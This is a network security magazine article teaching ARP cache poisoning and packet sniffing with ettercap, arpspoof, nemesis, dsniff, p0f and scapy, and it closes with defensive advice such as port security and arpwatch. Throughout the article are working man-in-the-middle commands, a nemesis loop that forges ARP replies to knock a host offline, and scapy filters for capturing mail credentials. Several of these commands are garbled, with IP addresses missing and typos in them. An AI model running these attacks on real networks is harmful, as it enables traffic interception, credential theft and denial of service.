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Cloud Security: Article

Network Security: Arp Cache Poisoning and Sniffing Packets

ARP Cache Poisoning allows any computer on the local area network to obtain one of the most powerful attack postures in network

In a switched network environment packets are sent to their destination port by MAC address. This requires that hardware be able to create and maintain a table associating MAC addresses to ports. In a switched environment packets are only sent to devices that they are meant for. Even in this switched environment there are ways to sniff other devices' packets. One such way is to spoof your MAC address and poison the arp table. Since there is no state information about ARP traffic kept, as it's a simple protocol, the arp cache can be overwritten (unless the entry was explicitly marked as permanent).

Arp cache poisoning puts the attacker in position to intercept communications between the two computers. Computer A believes it is communicating with Computer B, but because of the poisoned arp table, the communication actually goes to the attacker's computer. The attacker can then either respond to computer A (pretending to be computer B), or simply forward the packets to its intended destination, but only after the packet information is captured and logged for later sue by the attacker. Likewise, the response from Computer B can be captured and logged by the attacker, who has also used Arp poisoning to make Computer B think its Computer A. this type of attack is known as Man in the Middle attack.

This article will cover a number of tools used in arp cache poisoning including ettercap, arpspoof, nemesis, p0f, dsniff, and scapy.

Running Ettercap
For arp cache poisoning to take place the attacker needs to be in the same network segment as the systems that are to communicate between each other. The first step is to obtain a list of IP addresses and the associated MAC. This can be accomplished a couple of different ways, one with a tool called ettercap. Ettercap is a suite for man in the middle attacks on your local LAN. It features sniffing of live connections, content filtering on the fly and more. It supports active and passive dissection of many protocols some of them we will cover in this paper.

# ettercap -T -M arp:remote //

This command will quickly sniff all hosts within your subnet, to view the results type L or hit h for the help menu and you will be given a list of commands.

Arp Cache DOS
To arp poison a given IP address to knock them off line so they cant communicate with anyone use arpspoof from the dsniff suite. Arpspoof is much simpler than ettercap to redirect packets, here is an example:

# arpspoof -i eth0 -t <target> host

Specifying the interface is optional but required if more than one interface is present. The -t specifies the particular host to ARP poison and if not specified all hosts on the LAN will be poisoned. The host can be the default gateway and this will keep the target from communicating beyond the local segment. Arpspoof redirects packets from a target host or all hosts on the LAN intended for another host on the LAN by forging ARP replies. The beauty of this program comes from the arp_send() function, which also uses libnet to spoof packets. The arp_send() sends out one ARP packet with source/target IP and Ethernet hardware addresses supplied by the user. Libnet is a generic networking API that provides access to several protocols.

To better understand how this works lets look at another tool called nemesis. If we have the IP and MAC of the intended target and host we can use nemesis to arp poison our target and leave them with a denial of service. Nemesis is a command-line network packet crafting and injection utility. Nemesis can craft and inject ARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF, RIP, TCP and UDP packets. By crafting your own packet using nemesis you can see how the arp cache poisoning works.

$ sudo nemesis arp -v -r -d eth0 -S -D -h 00:22:6E:71:04:BB -m 00:0C:29:B2:78:9E -H 00:22:6E:71:04:BB -M 00:0C:29:B2:78:9E

Then we create a packet to send in the other direction.

$ sudo nemesis arp -v -r -d eth0 -S -D -h 00:22:6E:71:04:BB -m 00:22:6B:7E:AD:7C -H 00:22:6E:71:04:BB -M 00:22:6B:7E:AD:7C

These two commands spoof ARP replies from to then from to The nemesis arp options -S specifies the source IP address, -D the destination IP address, -h the senders MAC address, -m the target MAC address, -H the source MAC address, and -M the destination MAC address. These two commands send bogus ARP replies to keep the ARP caches poisoned and traffic redirected. I find understanding this aspect allows you a better understanding of how the arp cache poisoning works. Lets replay them every 10 seconds with a loop.

$ while true

> do

> sudo nemesis arp -v -r -d eth0 -S -D -h 00:22:6E:71:04:BB -m 00:0C:29:B2:78:9E -H 00:22:6E:71:04:BB -M 00:0C:29:B2:78:9E

> sudo nemesis arp -v -r -d eth0 -S -D -h 00:22:6E:71:04:BB -m 00:22:6B:7E:AD:7C -H 00:22:6E:71:04:BB -M 00:22:6B:7E:AD:7C

> echo "Redirecting"

> sleep 10

> done

Once this is done the targeted box will be off-line and unable to communicate with the rest of the network. I made a video on my site that demonstrates this attack and is available at

Sniffing the LAN
The bridge mode in ettercap requires two interfaces that are placed in the network segment. If you setup in-line with network bridge mode you are very hard to detect. In bridge mode you intercept packets and can read, sniff, or change them before sending them on to the victim. This mode is stealthy because you don't send out ARP packets on the LAN.

# ettercap -Tq -i eth0 -B eth1

The -i sets the primary interface as eth0, the -B sets the second bridging interface (see Figure #1).

If you run in GTK+ user interface you can do this by Sniff => Bridged sniffing

Figure 1: Sniffing traffic

Logging data
If you would like to log all the packets in a file you can use a number of different tools such as p0f which is a versatile passive OS fingerprinting and masquerade detection utility. It can be used for evidence or information gathering on servers, firewalls, and intrusion detection systems. Ettercap can also fingerprint hosts (find the Operating System running) with the -P option, just need to specify an open port. Once we find out what Operating system we are dealing with then it we can anticipate how the system will react.

# ettercap -Tq -P finger /

To allow the p0f utility to write packets to tcpdump snapshot use the -w option.

p0f -w dumpfile.pcap

dsniff has a collection of tools used for network penetration testing and audits. These tools include dsniff, filesnarf, mailsnarf, nsgsnarf, urlsnard, and webspy passively monitor a network for interesting data. Arpspoof, dnsspoof, and macof tools facilitate the interception of network traffic normally unavailable to an attacker due to layer-2 switching. Below we are using the -w option to to write packets to file.

dsniff -w dumpfile.pcap

Ettercap allows dumping packet data to file with the -w option as well.

ettercap -T -M arp:remote / / -w dumpfile.pcap

It is easier and less intrusive if you specify a specific box to sniff traffic and write to a file then trying to sniff the whole LAN segment. Otherwise you may crash ettercap. You can then view the output in Scapy if you have a graphical PostScript/PDF. Scapy is a powerful interactive packet manipulation program that has the ability to forge or decode packets of a wide number of protocols. It can perform tasks like scanning, tracerouting, probing, unit tests, network discovery, tcpdump, tethereal, p0f and much more. Start by typing scapy at the terminal prompt.

$ scapy

>>> a=rdpcap("/home/cr0wn/dumpfile.pcap")

>>> a

<dumpfile.pcap: TCP:9522 UDP:2386 IMCP:15 Other:611>

>>> a[423].pdfdump(layer_shift=1)

See Figure 2

Figure 2 Scapy graphical output

A good way to protect yourself while you are web-browsing is to use HTTP Everywhere by the Electronic Frontier Foundation (EFF). This will allow https to be used instead of http which passes information in clear-text and would be read by an attacker that is sniffing the local network segment. This is becomes more significant when using unknown wireless networks like at coffee shops or airports.

Sniffing with Scapy
The ability to capture packets and clone tcpdump is possible with scapy. Here we find a host that we want to sniff traffic on and use this command:

>>> sniff(filter="tcp and hsot", count=50)

>>> a=_

>>> a.nsummary()

Here we are sniffing the next 50 packets traveling the network on the host

(see Figure 3).

Figure 3 sniffing 50 packets

If we use the sprintf() function we can get even more control over what is displayed.

>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% → %IP.dst%\n}{Raw:%Raw.load%\n}"))

(see Figure 4).

Figure #4 different control displays in scapy

If we use the sprintf() function we can get even more control over what is displayed.

>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% → %IP.dst%\n}{Raw:%Raw.load%\n}"))

see Figure #4).

We can narrow down the ports that we sniff on such as port 25 and 110, common ports for mail client. Enter the following command in scapy:

>>> a=sniff(filter="tcp and ( port 25 or port 110 )",

prn=lambda x: x.sprintf( → %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%"))

In the above we are sniffing for tcp on ports 25 and 110 and using the lambda operator, used to denote anonymous functions, with the sprintf() function for more control over displayed information.

The above can be viewed in Figure 5.

Figure 5 sniffing user names and passwords using Scapy

Scapy can also graph what you are sniffing on the network by producing a simple diagram of packet flow. The conversations() method will create a conversation graph which requires graphviz and ImageMagick to work. Here I am using scapy to sniff the wireless interface (wlan0) that is connected to a foreign network, all displayed in a graphic format.

>>> a=sniff(iface="wlan0", prn=lambda x: x.summary())

>>> a.conversations()

The output above can be seen in Figure 6.

Figure 6 graphical output with Scapy

ARP Cache Poisoning allows any computer on the local area network to obtain one of the most powerful attack postures in network security called "Man in the Middle" (MITM). MITM is able to monitor, filter, modify and edit any and all network traffic moving between LANs. In this article we have identified some open source tools that can be used to launch attacks on switched networks. We have identified some easy ways to prevent data loss by using a browser add-on. By making yourself aware and familiar with some of these tools you can see how secure your network really is. A good solution is to provide port security integrated into your switches and by running arpwatch to monitor address resolution protocol traffic on your network.

This article appears in Admin Network & Security Magazine on-line edition.  They had a difficult time getting all the .jpgs to work with their web application so I am publishing the article here as well.

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More Stories By David Dodd

David J. Dodd is currently in the United States and holds a current 'Top Secret' DoD Clearance and is available for consulting on various Information Assurance projects. A former U.S. Marine with Avionics background in Electronic Countermeasures Systems. David has given talks at the San Diego Regional Security Conference and SDISSA, is a member of InfraGard, and contributes to Secure our eCity He works for Xerox as Information Security Officer City of San Diego & pbnetworks Inc. a Service Disabled Veteran Owned Small Business (SDVOSB) located in San Diego, CA and can be contacted by emailing: dave at

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